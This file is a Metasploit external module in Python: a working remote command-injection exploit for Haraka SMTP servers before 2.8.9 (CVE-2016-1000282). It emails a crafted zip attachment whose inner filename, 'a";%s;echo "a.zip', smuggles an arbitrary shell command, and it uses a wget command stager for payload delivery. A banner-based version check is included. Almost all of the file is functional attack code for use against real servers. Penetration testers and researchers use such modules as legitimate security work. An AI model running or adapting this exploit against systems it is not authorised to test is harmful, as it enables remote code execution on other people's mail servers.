modules/exploits/linux/smtp/haraka.py
#!/usr/bin/env python3
# Vendor Homepage: https://haraka.github.io/
# Software Link: https://github.com/haraka/Haraka
# Exploit github: http://github.com/outflankbv/Exploits/
# Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.8
# Version: <= Haraka 2.8.8 (with attachment plugin enabled)
# Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS
# Tested versions: 2.8.8 and 2.7.2
# Thanks to: Dexlab.nl for asking me to look at Haraka.
import smtplib
import re
from distutils.version import StrictVersion
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import zipfile
try:
# Python 2 plain strings are bytes
from StringIO import StringIO as BytesIO
except ImportError:
from io import BytesIO
from metasploit import module
metadata = {
"name": "Haraka SMTP Command Injection",
"description": """
The Haraka SMTP server comes with a plugin for processing attachments.
Versions before 2.8.9 can be vulnerable to command injection
""",
"authors": [
"xychix <xychix[AT]hotmail.com>",
"smfreegard",
"Adam Cammack <adam_cammack[AT]rapid7.com>",
],
"date": "2017-01-26",
"references": [
{"type": "cve", "ref": "2016-1000282"},
{"type": "edb", "ref": "41162"},
{"type": "url", "ref": "https://github.com/haraka/Haraka/pull/1606"},
],
"type": "remote_exploit_cmd_stager",
"rank": "excellent",
"wfsdelay": 5,
"privileged": True,
"targets": [
{"platform": "linux", "arch": "x64"},
{"platform": "linux", "arch": "x86"},
],
"payload": {"command_stager_flavor": "wget"},
"options": {
"email_to": {
"type": "string",
"description": "Email to send to, must be accepted by the server",
"required": True,
"default": "admin@localhost",
},
"email_from": {
"type": "string",
"description": "Address to send from",
"required": True,
"default": "foo@example.com",
},
"rhost": {
"type": "address",
"description": "Target server",
"required": True,
"default": None,
},
"rport": {
"type": "port",
"description": "Target server port",
"required": True,
"default": 25,
},
"command": {
"type": "string",
"description": "Command to run on the target",
"required": True,
"default": "/bin/echo hello",
},
},
"notes": {"AKA": ["Harakiri"]},
}
def send_mail(to, mailserver, cmd, mfrom, port):
msg = MIMEMultipart()
html = "harakiri"
msg["Subject"] = "harakiri"
msg["From"] = mfrom
msg["To"] = to
msg.attach(MIMEText(html))
module.log(
"Send harariki to %s, commandline: %s , mailserver %s is used for delivery"
% (to, cmd, mailserver),
"debug",
)
part = MIMEApplication(create_zip(cmd), Name="harakiri.zip")
part["Content-Disposition"] = 'attachment; filename="harakiri.zip"'
msg.attach(part)
module.log("Sending mail to target server...")
module.log(msg.as_string(), "debug")
s = smtplib.SMTP(mailserver, port)
try:
resp = s.sendmail(mfrom, to, msg.as_string())
except smtplib.SMTPDataError as err:
if err[0] == 450:
module.log("Triggered bug in target server (%s)" % err[1], "good")
s.close()
return True
module.log("Bug not triggered in target server", "error")
module.log(
"it may not be vulnerable or have the attachment plugin activated", "error"
)
s.close()
return False
class InMemoryZip(object):
def __init__(self):
self.in_memory_zip = BytesIO()
def append(self, filename_in_zip, file_contents):
zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False)
zf.writestr(filename_in_zip, file_contents)
for zfile in zf.filelist:
zfile.create_system = 0
return self
def read(self):
self.in_memory_zip.seek(0)
return self.in_memory_zip.read()
def create_zip(cmd="touch /tmp/harakiri"):
z1 = InMemoryZip()
z2 = InMemoryZip()
z2.append(
"harakiri.txt",
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.",
)
z1.append('a";%s;echo "a.zip' % cmd, z2.read())
return z1.read()
def check_banner(args):
module.log(
"{}:{} Starting banner check for Haraka < 2.8.9".format(
args["rhost"], args["rport"]
),
level="debug",
)
c = smtplib.SMTP()
try:
(code, banner) = c.connect(args["rhost"], int(args["rport"]))
except:
return "unknown"
c.quit()
if code == 220 and "Haraka" in banner:
versions = re.findall("(\d+\.\d+\.\d+)", banner)
if versions:
if StrictVersion(versions[0]) < StrictVersion("2.8.9"):
return "appears"
else:
return "safe"
else:
return "detected"
elif code == 220:
return "detected"
else:
return "unknown"
def exploit(args):
send_mail(
args["email_to"],
args["rhost"],
args["command"],
args["email_from"],
int(args["rport"]),
)
if __name__ == "__main__":
module.run(metadata, exploit, soft_check=check_banner)